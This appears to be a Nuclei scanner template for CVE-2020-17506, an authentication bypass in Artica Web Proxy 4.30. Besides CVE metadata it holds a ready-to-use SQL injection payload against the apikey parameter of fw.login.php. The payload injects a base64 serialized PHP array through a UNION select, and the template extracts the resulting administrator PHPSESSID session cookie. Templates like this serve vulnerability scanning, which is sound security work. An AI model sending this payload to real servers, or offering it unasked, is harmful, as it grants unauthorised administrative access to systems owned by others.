id: CVE-2020-17506

info:
  name: Artica Web Proxy 4.30 Authentication Bypass
  author: dwisiswant0
  severity: critical
  description: Artica Web Proxy 4.30.00000000 allows remote attacker to bypass privilege detection and gain web backend administrator privileges through SQL injection of the apikey parameter in fw.login.php.
  tags: cve,cve2020
  reference: https://blog.max0x4141.com/post/artica_proxy/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2020-17506
    cwe-id: CWE-89

requests:
  - method: GET
    path:
      - "{{BaseURL}}/fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27;"
    redirects: true
    max-redirects: 1
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "artica-applianc"
      - type: status
        status:
          - 200
          - 301
          - 302
        condition: or
      - type: word
        name: session
        words:
          - "PHPSESSID"
        part: header
    extractors:
      - type: kval
        kval:
          - "PHPSESSID"